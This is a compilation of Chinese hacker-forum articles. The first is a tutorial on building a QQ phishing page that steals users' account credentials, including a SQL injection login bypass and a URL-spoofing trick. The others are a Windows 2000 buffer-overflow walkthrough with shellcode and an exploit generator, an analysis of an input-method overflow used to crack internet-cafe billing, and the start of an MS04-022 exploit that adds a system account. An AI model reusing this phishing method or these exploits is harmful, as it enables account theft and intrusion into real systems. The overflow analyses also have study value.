2.在登陆后台管理页面时.发现qq.asp对管理的验证代码为sql="select * from admin where name='"&na&"' and pwd='"&pwd&"'" !懂SQL的人应该知道这是什么把..qq.asp这个文件存在sqlinjection漏洞.不管后台的管理帐户和密码是多少.我们只要在帐户那里输入'or'='or'密码填不填都可以进入后台..如果让懂点安全的人知道了后台..呵.我们辛苦钓来的号.全成他的了.
对于第1个缺陷.我们可以打开数据库为其添加一个表.内容为
http://client.pet.qq.com/act/christmas/index.shtml
然后保存这个页面..文件名我这里改为index.htm保存好后..打开index.htm搜索post找到如下代码
http://ptlogin.qq.com/login
" method=post onsubmit="return checkinput()" >
我们改成
qqs.asp是用来接受我们提交出的QQ和密码的..
然后把他下面的
http://client.pet.qq.com/act/christmas/index.shtml
">

代码给删除....因为真正提交的代码在下面..
往下看代码..找到
alert("冲值成功");
window.history.go(-1);
换成
这样提交后.在0秒内返回正常页面..当然你还可以加上一个.alert('输入有误.请重新输入');来迷惑对方重新登陆.
我们盗号.无非就是想要QQ币..或者无保的好号之类的..在这个程序里还可以加入一功能.方便查询对方的QQ秀..以QQ秀来判断对方是否有QQ币的可能性..
打开qq.asp找到
代码
改成
[url=http://qqshow-user.tencent.com/http://qqshow-user.tencent.com/[/url]
("qq")%>/11/00/" target="_blank">
看下演示..随便输入一个QQ111111密码乱写的..效果如图6
现在所有的功能已经完善..找个支持asp的空间或者用个肉鸡把程序传上去.申请个二级域名
然后用我从EST找来的一个"永恒无月"写的"钓鱼用品,IP地址加密,URL加密,URL欺骗"..进行IE欺骗钓鱼的工具
我的设置如图7
得到URL为
http://www.qq.com@127.0.0.1/
在IE里打开显示如图8
因为IE对@前面的是不解析的,,我们输入的
http://www.qq.com@127.0.0.1/
其实打开的就是
http://127.0.0.1/
好了..关于一个完整的钓鱼制作及利用就介绍完了..大家可以自行发挥.

果然很恐怖啊


Win2K缓冲区溢出入门
前言
我在互联网上阅读过许多关于缓冲区溢出的文章。其中的绝大多数都是基于*NIX操作系统平台的。后来有幸拜读了ipxodi所著的《Windows系统下的堆栈溢出》（已刊登在绿盟网络安全月刊2000年第三期中），又碰巧看到了Jason先生的《Windows NT Buffer Overflow’s From Start to Finish》，得益匪浅。在翻译Jason先生的文章时，由于我的机器安装了Windows 2000 Server，在调试原文程序时发现细节略有出入。因此本文提供的有关源程序、动态链接库、偏移量等是以我在自己机器上调试为准。（对不同版本的动态链接库，都需要编程者自己调试。）
这篇文章应该属入门级。虽然比较简单，但对于Windows系统下的缓冲区溢出具有一定的通用性。例如，堆栈溢出地址的确定，跳转指令的查找和使用，溢出执行代码的编写，等等。只要发现Windows系统下存在缓冲区溢出漏洞的程序，基本上都可通过这些步骤进行攻击测试。但正如ipxodi所指出的，由于Windows下动态链接库的版本更新较快，一定要根据编程者的实际平台进行调试。在发布此类安全漏洞公告或溢出攻击程序时，源代码、系统平台和动态链接库的版本号都应该尽量列清楚。否则别人调试起来可能会头疼得很厉害。；）
调试、测试环境
Microsoft Visual C++ 6.0
Microsoft Windows 2000 Server （中文版，内部版本号：2195）

调试、测试过程
首先，写一个存在缓冲区溢出漏洞的应用程序。该程序可读取文件的内容，这样我们就能通过修改被读取文件的内容来使程序溢出。;-)　在Visual C++开发环境中创建一个新的控制台应用程序，选择”An Application that supports MFC”并单击”Finish”。（注：其实并不一定非是MFC应用程序不可，只不过是我自己的习惯而已。;-）））向这个应用程序中添加一些必要的代码，如下：
CWinApp theApp;
using namespace std;
void overflow(char* buff);
void overflow(char* buff)
{
CFile file;
CFileException er;
if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er))
{
er.ReportError();
return;
}
int x = file.GetLength();
file.Read(buff,x);
}
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on
        failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL,
        ::GetCommandLine(), 0))
{
// TODO: change error code to suit
        your needs
cerr << _T("Fatal Error: MFC initialization
        failed") << endl;
nRetCode = 1;
}
else
{
char
        buff[10];
overflow(buff);
}
return nRetCode;
}
    现在先来分析一下上面这段C＋＋代码，找一找哪里有漏洞。这是一个MFC控制台应用程序，”main”函数与其它程序会有些不同，但工作机制基本一致。我们主要分析该函数中”else”那段代码。首先是第一行”char buff[10]”，定义了一个10字符长的本地变量。我们都知道，本地变量的内存空间是在堆栈里分配的。（如果你连这个都不知道，建议不要继续往下看了。：））然后是将buff变量作为参数调用overflow函数。好了，现在让我们分析overflow函数。首先是一个Cfile对象，然后是一个CfileException对象。接下来会试图以读权限打开当前目录下的文件”overflow.txt”。如果打开成功，则将该文件中的所有内容读取到buff数组变量中。发现了问题没有？buff变量只有10字符长。如果读取的文件内容长度是100时会发生什么问题呢？对了，“缓冲区溢出”！而且是在堆栈中发生的缓冲区溢出。在后面的测试中就能看到，我们利用这个漏洞能做些什么！；）现在让我们创建文本文件”overflow.txt”，并将它放到这个应用程序的project目录下。
在进行下一步前，先让我们探讨一下关于Windows NT/2000的内存结构。NT/2000的每一个进程都在启动时分配了4GB（0xFFFFFFFF）的虚拟内存。其中的某些部份实际上是由所有进程共享的，例如核心和设备驱动程序区域。但它们都会被映射到每个进程的虚拟地址空间里。实际上没有进程分配到4GB的物理内存，而是仅当需要时才分配物理内存。因此每一个进程都有各自的4GB虚拟内存，编址范围从0x00000000到0xFFFFFFFF。其中，0x00000000－0x0000FFFF是为NULL指针分配而保留的。访问该区域内存将导致“非法访问”错误。0x00010000－0x7FFEFFFF是用户进程空间。EXE文件的映像被加载到其中（起始地址0x00400000），DLL（动态链接库）也被加载到这部份空间。如果DLL或EXE的代码被装入到该范围的某些地址，就能够被执行。访问该区域中没有代码装入的地址将导致“非法访问”错误。0x7FFF0000－0x7FFFFFFF是保留区域，对此区域的任何访问都将导致“非法访问”错误。0x80000000－0xFFFFFFFF仅供操作系统使用。用于加载设备驱动程序和其它核心级代码。从用户级应用程序（ring 3）访问此区域将导致“非法访问”错误。
现在回到”overflow.txt”文件。现在我们将向这个文本文件中不断添加字符，直到弹出应用程序非法访问的系统对话框。在这里，填充什么字符是很重要的（原因待会就知道了）。我选择小写字母”a”来填充文本文件。我们已经知道缓冲区只有10字符长，那么先填充11个字符。（注意：以debug方式编译应用程序，否则结果可能会有所不同。）咦？没反应。我们继续填充字符……直到填充了18个字符应用程序才崩溃。但这个崩溃对我们的用处还不大。继续填充！当字符串长度为24时，运行程序并观察弹出的对话框信息：“”0x61616161”指令引用的”0x61616161”内存。该内存不能为”written”。”我想大家都应该知道”0x61”所代表的ASCII码是什么吧？；）如果你的机器安装了Visual C++，单击“取消”按钮就能够调试该应用程序。进入调试环境后，选择”view”菜单――”debug windows”――”registers”，可打开寄存器窗口。如果你对汇编一窍不通，建议先去找本汇编的书看看。在寄存器窗口里会看到EAX、EBS和EIP等寄存器的内容。EIP当然是最重要的了。EIP的内容就是程序下一步所要执行指令的地址。我们注意到ESP寄存器的值未被破坏，而且似乎离我们的buff变量不远。下一步我们需要找出ESP的值是从如何处理得到的。
现在开始会复杂些了（而这就是乐趣的源泉！：））。 在main函数的最后一行代码处设置断点，因为我们只关心这里所发生的事情。现在启动调试器，并让程序无故障运行到该断点。然后切换到反汇编窗口（按Alt+8，或单击”View”――”debug windows”――”disassembly”）。另外还要打开内存窗口和寄存器窗口。
0040155B 5F pop edi
0040155C 5E pop esi
0040155D 5B pop ebx
0040155E 83 C4 50 add esp,50h
00401561 3B EC cmp ebp,esp
00401563 E8 7E 00 00 00 call _chkesp (004015e6)
00401568 8B E5 mov esp,ebp
0040156A 5D pop ebp
0040156B C3 ret
以上这些东西是什么？汇编代码。如果你对汇编一点都不懂，我在这里做一些简单的说明。第一行是”pop edi”。指令pop用于将仅次于堆栈顶端的数据移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆栈指针。一个pop指令移动堆栈顶端的一个数据单元，在这里是DWORD（双字，4字节），到指定寄存器中，并将堆栈指针加4（因为共移动了4字节）。在执行下一步前，让我们看一下ESP寄存器。在内存窗口中输入ESP，就能得到ESP当前指向的地址和内容。看一下ESP指向的内存地址中4个字节的内容和EDI寄存器的内容。现在单步执行”pop.edi”，我们能够看到EDI寄存器中填入了ESP所指向的内存地址的数值，同时ESP的数值也增加了4。后面的两条指令是一样的，只不过寄存器不同罢了。单步执行它们。跟着的三行指令对本文没什么意义，所以在这里不作解释。单步执行到指令”mov esp, ebp”，该指令会将EBP的值赋给ESP寄存器。然后是指令”pop ebp”，这条指令很重要。先让我们在内存窗口输入ESP，可以看到该内存地址有一串”0x61”（’a’的16进制值）。因此0x61616161将被弹出到EBP寄存器中。单步执行该指令可以检验我说的没错吧？；）好了，虽然我说的没错，但好象我们还没能得到什么有用的东西？现在到了最后一条指令”ret”。指令”ret”在汇编中是返回指令。它是如何知道应该返回到哪里的呢？由当前位于堆栈顶端的数值决定。这条指令如果用pop指令表示的话可以表示为”pop eip”（虽然实际上你无法执行这条pop指令；））。它从ESP所指向内存地址处弹出4字节内容，并赋给EIP寄存器（EIP寄存器是32位指令指针）。这就意味着，不管EIP指向哪个内存地址，该地址处的指令将总会成为下一条指令。我们再次在内存窗口中输入ESP，看一下将要赋给EIP寄存器的地址的指令是什么。其实我想此时大家都应该知道是4个字节长的0x61串。现在让我们单步执行该指令，看到EIP的值为0x61616161，也就是说下一指令地址为0x61616161，但指令却显示为???（意为无效指令）。因此再单步执行指令将导致“访问非法”错误。现在再看看ESP寄存器。它正确地指向了堆栈中的下一个数值。也就是说，下一步工作是确定在使缓冲区成功溢出（EIP＝0x61616161）时，ESP所指向的地址是否能够存放我们的溢出代码！我们在overflow.txt文件中再次增加4个’a’（共28个’a’），并再次调试程序，在执行到”ret”指令时观察内存窗口和寄存器窗口，会发现执行”ret”指令后ESP所指向内存地址的内容为4字节长的0x61串。Great！这意味着什么？！这个让大家自己想去吧。；）））
现在我再回过头来分析一下。我们刚才使用字符’a’（0x61）作为文本文件的填充内容，以确定存在缓冲区溢出。由于EIP＝0x61616161，当我们的程序访问试图访问该地址处的指令时，会因为是无效指令而导致系统出错。但如果所指向的地址存在可执行代码时又如何呢？例如装入内存的DLL代码等。哈哈，这样的话就会执行这些指令，从而可能做一些别人想像不到的事！；）
好了，到目前为止，我们已经能控制EIP的数值，也知道ESP指向的堆栈位置，和能够向堆栈写入任意数据。那么下一步做什么呢？当然是找到使系统执行我们的溢出代码的方法了。如果你看过ipxodi所著的文章《Windows系统下的堆栈溢出》，就会知道采用跳转指令（jmp esp）是最好不过的了。原因在这里就不再多讲，请大家仔细阅读《Windows系统下的堆栈溢出》就清楚了。正如前面分析过的，这是因为执行完ret指令后ESP正好能够指向我们的溢出代码！（……哦，找不到，我没分析过？在本文中查找单词”Great”吧，呵呵。）现在我们就要在应用程序的内存空间中找到含有”jmp esp”指令的地址。首先当然是确定这条指令的机器码了。怎么确定？这也要教？好吧，教就教吧。仅此一次，下不违例。；）其实方法很简单，按以下步骤就可以了。先在Visual C++中创建新的应用程序。（当然还是控制台程序，还是支持MFC，这是我的习惯。呵呵。）输入以下代码：
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on
        failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL,
        ::GetCommandLine(), 0))
{
// TODO: change error code to suit
        your needs
cerr << _T("Fatal Error: MFC initialization
        failed") << endl;
nRetCode = 1;
}
else
{
return 0;
__asm jmp esp
}
return nRetCode;
}
下一步是如何在我们的进程空间里找到这串机器码。也是非常简单的，只要修改一下代码即可：
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on
        failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL,
        ::GetCommandLine(), 0))
{
// TODO: change error code to suit
        your needs
cerr << _T("Fatal Error: MFC initialization
        failed") << endl;
nRetCode = 1;
}
else
{
return 0;
__asm jmp esp

bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF
        && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF
        "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
}
return nRetCode;
}
也许你会奇怪，为什么不用Kernel32.dll呢？它不是更通用吗？我刚开始时也是在动态链接库Kernel32的进程空间寻找”FF E4”，但居然一处也找不到！（而在Windows NT 4中找到能至少6处！：（（）后来我尝试在User32.dll中寻找，终于找到了一处。运行后程序输出：
OPCODE found at 0x77e2e32a
END OF User32 MEMORY REACHED
注意，不同的动态链接库和版本，得到的结果可能会不一样。我的动态链接库User32.dll版本为5.00.2180.1。现在用16进制文件编辑器（如Ultra Edit）打开overflow.txt文本文件，在第21字符位置开始输入2A E3 E2 77。（为什么要在第21字符位置？为什么要输入2A E3 E2 77？我不想解释了，如果你连这都看不懂，建议你不要再研究缓冲区溢出了！）我们先保留后面的四个’a’字符。使用调试器运行程序，执行到”ret”命令处停下来，看看下一条指令是否为”jmp esp”，而且执行”jmp esp”前esp的内容是否为0x61616161。如果一切正确，OK, so far so good. ；）让我们来进行更刺激的事情――编写缓冲区溢出后的执行代码。
首先，你必须确保所有需要的动态链接库都被加载到进程空间中。一种方法是利用该程序本身调用的动态链接库；另一种方法是在溢出代码中加载该动态链接库。（在ipxodi的《Windows系统下的堆栈溢出》中有详细介绍。）在这里我采用第一种方法。为什么？因为简单嘛。；）
呵呵，为了编程简单，同时本文的主要目的是教学，重点在于原理，所以代码执行时仅是弹出一个消息框。如果想编写更具攻击性或更复杂的执行代码，可参阅ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。不过，后果自负！
首先我们要找到如何在代码中调用MessageBox函数。根据Windows API文档，MessageBox依赖于user32.lib，也就是说它位于user32.dll动态链接库中。启动depends工具，打开将要被溢出的应用程序，可以发现它将加载user32.dll。然后寻找MessageBox函数的内存位置。在我机器的user32.dll中，MessageBoxA（ASCII版本）函数的偏移量（Entry Point）为0x00033D68。User32.dll在内存中的起始地址为0x77DF0000。将两者相加即可得到MessageBox函数的绝对内存地址为0x77E23D68。所以我们需要在汇编代码中正确设置堆栈并调用0x77E23D68。根据对Steve Fewer的winamp缓冲区溢出代码学习和研究，我写出来的汇编代码如下：
push ebp
push ecx
mov ebp,esp
sub esp,54h
xor ecx,ecx
mov byte ptr [ebp-14h],'S'
mov byte ptr [ebp-13h],'u'
mov byte ptr [ebp-12h],'c'
mov byte ptr [ebp-11h],'c'
mov byte ptr [ebp-10h],'e'
mov byte ptr [ebp-0Fh],'s'
mov byte ptr [ebp-0Eh],'s'
mov byte ptr [ebp-0Dh],cl
mov byte ptr [ebp-0Ch],'W'
mov byte ptr [ebp-0Bh],'e'
mov byte ptr [ebp-0Ah],' '
mov byte ptr [ebp-9],'G'
mov byte ptr [ebp-8],'o'
mov byte ptr [ebp-7],'t'
mov byte ptr [ebp-6],' '
mov byte ptr [ebp-5],'I'
mov byte ptr [ebp-4],'t'
mov byte ptr [ebp-3],'!'
mov byte ptr [ebp-2],cl
push ecx
lea eax,[ebp-14h]
push eax
lea eax,[ebp-0Ch]
push eax
push ecx
mov dword ptr [ebp-18h],0x 77E23D68
call dword ptr[ebp-18h]
mov esp,ebp
pop ecx
pop ebp
以上汇编代码将调用位于0x77E23D68的MessageBox函数，使其弹出标题为”Success”、消息内容为”We Got It!”的消息框。必须要注意的是，我们不能使用0（NULL）作为字符串中的字符，解决方法请参考ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。现在，我们要得到这些汇编代码的机器码。方法前面已经介绍过了，不再重复。最后整理得到的机器码为：
\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45
\xee\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d
\xf3\xc6\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8
\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd
\x21\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d
\xe2\x77\xff\x55\xe8\x8b\xe5\x59\x5d
如果现在将这输入到overflow.txt文件中，将能够成功溢出，并弹出我们定制的消息框。但当单击”确定”按钮后，应用程序将崩溃。要避免出现这种情况，我们需要调用exit函数以正常关闭程序。查阅Windows API文档可知，需要导入msvcrt.lib，因此肯定在msvcrt.dll动态链接库中。使用depends工具会发现应用程序加载了msvcrtd.dll而不是msvcrt.dll，这是因为我们应用程序现在使用的是调试版本。但两者没太多区别。Msvcrtd.dll在内存中的起始地址为0x10200000，exit函数的偏移量（Entry Point）为0x0000AF90，则exit函数的绝对地址为0x1020AF90。故汇编代码为：
push ebp
push ecx
mov ebp,esp
sub esp,10h
xor ecx,ecx
push ecx
mov dword ptr [ebp-4],0x1020AF90
call dword ptr[ebp-4]
mov esp,ebp
pop ecx
pop ebp
以上代码以0为参数调用exit函数，使应用程序以代码0退出运行。整理后得到的机器码如下：
\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff\x55\xfc\x8b\xe5\x59\x5d
现在将上面两串机器码输入到overflow.txt文件中（以第25个字节为起始位置。这次不用问为什么了吧？！如果还不懂，复习一下前面的内容!）
如果你嫌麻烦，可以使用以下程序（怎么样，够朋友了吧？；））：
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buffer[20];
//0x77e2e32a //user32.dll JMP ESP
char eip[] = "\x2a\xe3\xe2\x77";
char sploit[] = "\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee"
"\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6"
"\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8\x6f\xc6\x45"
"\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21\x88\x4d\xfe"
"\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xff\x55\xe8\x8b"
"\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff"
"\x55\xfc\x8b\xe5\x59\x5d";
for(int x=0;x<20;x++)
{
buffer[x] = 0x90;
}
CFile file;
file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite);
file.Write(buffer,20);
file.Write(eip,strlen(eip));
file.Write(sploit,strlen(sploit));
file.Close();
}
return nRetCode;
}
在确保所有文件的内容和位置都准确无误后，运行被溢出程序…………哈哈，我们的消息框弹出来了！！！单击”确定”按钮，程序正常关闭！！！
后记
最近访问国外的安全站点、黑客站点，发现国外越来越多地关注Windows系统的安全，研究Windows系统漏洞的也越来越多，包括L0pht、Cerberus等。特别是在一些黑客性质很重的站点，针对Windows 9x/NT/2k的攻击程序一堆堆的。真的有点不敢想像，如果Micro$oft公开所有Windows的源代码，会有多少安全漏洞被发现。而我想，根据国内使用Windows平台的普遍性，问题将会更加严重。因此我觉得国内对Windows的安全性研究应该抓得更紧些！虽然实际情况令人沮丧……：（
这篇文章本来不打算整理的，因为我自己也是刚开始研究Windows系统下的缓冲区溢出，掌握的东西不多，担心被Windows高手取笑。后来倒是自己想通了：只有“班门弄斧”，才能知道自己的不足，才能更快地取得进步。希望众Windows高手、黑客高手多多指教。象我们绿色兵团里的ipxodi、袁哥、zer9等，都是Windows平台下的安全专家，如果本文能起到“抛砖引玉”的作用，我便很满足了。：）


[转载]智能ABC输入法溢出分析

文章作者：sunwear[E.S.T]
信息来源：邪恶八进制 中国
ps：sunwear不好意思发，我帮他发了！
也感谢dencefire的帮忙 ：）
智能ABC输入法漏洞已经被人发现很久了，广泛用于网吧计费系统的破解。不过很少有人去研究他是怎么溢出的。所以我也是闲的无事分析一下他的溢出。
需要的工具：ollydbg 哪都有下载的地方。
首先用OD打开笔记本。然后切换输入法到智能ABC，输入v，左箭头delete ，回车（空格也可以）。然后立刻造成进程死掉，然后OD的信息会告诉你问题出在7380****.而7380****属于winabc.ime的地址。经过跟踪，确定出错指令为ImeToAsciiEx函数，此函数是用来处理输入的字符。每按一个键就会调用一次，当上面这个动作做完后又调用了 0x7380AC95函数。下面是这个函数的汇编代码
7380ACA1 |> 66:81FE 3D80 CMP SI,803D ；si为你按的那个键 的hex值
7380ACA6 |. 75 26 JNZ SHORT WINABC.7380ACCE
7380ACA8 |. 803D B0298173 >CMP BYTE PTR DS:[738129B0],3 ；3为输入中间阶段
7380ACAF |. 0F84 E7010000 JE WINABC.7380AE9C
7380ACB5 |. 833D AC298173 >CMP DWORD PTR DS:[738129AC],1
7380ACBC |. 0F8E DA010000 JLE WINABC.7380AE9C
7380ACC2 |. C605 B0298173 >MOV BYTE PTR DS:[738129B0],1
7380ACC9 |. E9 CE010000 JMP WINABC.7380AE9C
下面在来看一段关于0x7380AC95的代码
7380ADB4 |> 56 PUSH ESI
7380ADB5 |. E8 58140000 CALL WINABC.7380C212
7380ADBA |. 85C0 TEST EAX,EAX
7380ADBC |. 74 20 JE SHORT WINABC.7380ADDE
7380ADBE |. 66:83FE 76 CMP SI,76 ; 与'v'比较
7380ADC2 |. C605 B0298173 >MOV BYTE PTR DS:[738129B0],3
7380ADC9 |. 0F94C0 SETE AL ; 不是的话al=0
7380ADCC |. A2 6C488173 MOV BYTE PTR DS:[7381486C],AL ; 是v的话进入v输入状态
7380ADD1 |. E8 F6110000 CALL WINABC.7380BFCC
7380ADD6 |. 391D CC558173 CMP DWORD PTR DS:[738155CC],EBX
7380ADDC |. EB 23 JMP SHORT WINABC.7380AE01
v的输入状态不同，比如Vabc 会输入abc英文，V1什么的为特殊字符和符号。
下面去找出问题的地方
7380AC81 |. 33DB XOR EBX,EBX
.......
7380AE08 |> 0FB7C6 MOVZX EAX,SI ; Case 3 of switch 7380ACE2
7380AE0B |. 50 PUSH EAX
7380AE0C |. E8 340A0000 CALL WINABC.7380B845
7380AE11 |. 2BC3 SUB EAX,EBX
7380AE13 |. 74 26 JE SHORT WINABC.7380AE3B
.......
7380AE3B |> 381D 6C488173 CMP BYTE PTR DS:[7381486C],BL ;DS:[7381486C]=2
7380AE41 |. 74 22 JE SHORT WINABC.7380AE65 ;没有发生跳转，正常情况下0x73811F52肯定大于0
7380AE43 |. 0FB705 521F817>MOVZX EAX,WORD PTR DS:[73811F52] ;DS:[73811F52]为0
7380AE4A |. 48 DEC EAX ;FFFFFFFF
7380AE4B |. C605 CC758173 >MOV BYTE PTR DS:[738175CC],2
7380AE52 |. 50 PUSH EAX
7380AE53 |. 68 561F8173 PUSH WINABC.73811F56
7380AE58 |. E8 FA140000 CALL WINABC.7380C357
7380AE5D |. 881D 6C488173 MOV BYTE PTR DS:[7381486C],BL ;函数将发生错误
7380AE63 |. EB 31 JMP SHORT WINABC.7380AE96
如果del删去V,DS:[73811F52]变量为0,但是DS:[7381486C]=2没有变为0，仍然在输入中途状态，dec eax是为了取得除了v之外的字母串的长度，结果这里变为 0xffffffff，7380AE5D |. 881D 6C488173 MOV BYTE PTR DS:[7381486C],BL 中 函数没有做检查。
7380C4C8 0FB745 10 MOVZX EAX,WORD PTR SS:[EBP+10] ; eax = 0xffff
7380C4CC 8BC8 MOV ECX,EAX
7380C4CE 8BFB MOV EDI,EBX
7380C4D0 037B 58 ADD EDI,DWORD PTR DS:[EBX+58]
7380C4D3 03F3 ADD ESI,EBX
7380C4D5 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]
7380C4D8 8BD1 MOV EDX,ECX
7380C4DA C1E9 02 SHR ECX,2 ; ecx = 0x3fff
7380C4DD 8943 54 MOV DWORD PTR DS:[EBX+54],EAX
7380C4E0 03C3 ADD EAX,EBX
7380C4E2 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> ; 拷贝0x3fff个int
看到了吗，出错的地方。在这里溢出了。
还有这个问题
7380B416 /$ 803D C0558173 >CMP BYTE PTR DS:[738155C0],0AA
7380B41D |. 56 PUSH ESI
7380B41E |. 74 2D JE SHORT WINABC.7380B44D
7380B420 |. 66:8B0D 545E81>MOV CX,WORD PTR DS:[73815E54] ; cx = 0
7380B427 |. 66:49 DEC CX ; cx = 0xffff
7380B429 |. 0FB7C1 MOVZX EAX,CX
7380B42C |. 66:890D 545E81>MOV WORD PTR DS:[73815E54],CX
7380B433 |. 0FB690 405E817>MOVZX EDX,BYTE PTR DS:[EAX+73815E40]
7380B43A |. 0FB680 415E817>MOVZX EAX,BYTE PTR DS:[EAX+73815E41]
ds:0x73815E54表示当前输入栏中有多少字/词 DS:[738129B0]=0时上面的代码会被用到。当用退格消去输入栏中最后一个汉字时DS:[73815E54]=0,DS:[738129B0]应该变成3,表示进入输入状态.但是我们随便输入一个词，然后输入任意字符，按"←"，退格，回车，在输入框中得到前一词的默认字，然后连按两次退格。输入第一个退格键,DS:[73815E54]=1,可是DS:[738129B0]并没有变成3,再次按下退格键,函数又执行到这里，cx变为0xffff，就出错了。
因为程序可以导致IME所HOOK的进程退出。所以像万象那样的网吧管理软件会立刻出错而退出进程.而3389登陆也会出错。不过对远程主机似乎没有影响。。。曾经还有人说这个可以造成远程主机重起。所以只是谣言。仔细想想就知道为什么不会对远程主机造成影响咯。


ms040-022的研究

这个bug的报告在2k ,xp上都存在
实际上目前的溢出只在xp上确认可以成功。
测试方法很简单 构造一个可执行文件名很长的.job文件
就可以在xp上导致explorer.exe 浏览包含这个文件的目录溢出
定位溢出点后 执行shellcode 都很容易成功。只是由于如果shellcode 直接
在当前线程执行bind port的话 会导致explorer.exe不响应 可以改成执行一个bind port的 exe
或直接加帐号。但是这样的溢出利用需要别人主动访问这个文件夹，而且权限是当前的登陆用户
不一定是最高权限。
关于在2k上不成功 我仔细check了与xp的不同，
实际上在shell32.dll里调用mstask.dll的地方都是给了buffer的长度0x104
78303F56 . 8D4D 08 LEA ECX,DWORD PTR SS:[EBP+8]
78303F59 . 8B07 MOV EAX,DWORD PTR DS:[EDI]
78303F5B . 51 PUSH ECX
78303F5C . 8D8D E8FDFFFF LEA ECX,DWORD PTR SS:[EBP-218]
78303F62 . 68 04010000 PUSH 104 这里给buffer length
78303F67 . 51 PUSH ECX
78303F68 . 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
78303F6B . 83C9 02 OR ECX,2
78303F6E . 51 PUSH ECX
78303F6F . 57 PUSH EDI
78303F70 . FF50 0C CALL DWORD PTR DS:[EAX+C] 这里call进mstask.dll的函数
78303F73 . 8BD8 MOV EBX,EAX
78303F75 > 85DB TEST EBX,EBX
但在mstask.dll的函数实现里却有不同
2k
6AC2F397 |. 817D 10 FFFFFF>CMP DWORD PTR SS:[EBP+10],7FFFFFFF 这里判断length是否太大
6AC2F39E |. 77 0E JA SHORT mstask.6AC2F3AE
6AC2F3A0 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; /Arg3
6AC2F3A3 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; |Arg2
6AC2F3A6 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Arg1
6AC2F3A9 |. E8 B342FFFF CALL mstask.6AC23661 ; \mstask.6AC23661 用了mstask自己实现的的wstrcpy函数 传了length [EBP+10]
6AC2F3AE |> FF75 08 PUSH DWORD PTR SS:[EBP+8]
6AC2F3B1 |. E8 D14DFFFF CALL mstask.6AC24187
但是xp上
7354C9B9 |. 85FF TEST EDI,EDI
7354C9BB |. 7C 14 JL SHORT mstask.7354C9D1
7354C9BD |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; /String2
7354C9C0 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |String1
7354C9C3 |. FF15 74135473 CALL DWORD PTR DS:[<&KERNEL32.lstrcpyW>] ; \lstrcpyW 直接call strcpyW 没用[EBP+10]
7354C9C9 |. FF75 08 PUSH DWORD PTR SS:[EBP+8]
7354C9CC |. E8 8B61FFFF CALL mstask.73542B5C
所以实际上buffer 是0x104 去掉前面"task!" 应该是255个字节
只要构造超过255的buffer就可以溢出
测试程序 创建一个系统帐号IUSA 密码k911
/*
ms04-022 exp for xp sp1
by sbaa 2004.7.20
create a system account IUSA password k911
*/
#include <stdio.h>
#include
        <windows.h>

unsigned char job_head[] =
"\x47\x04\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
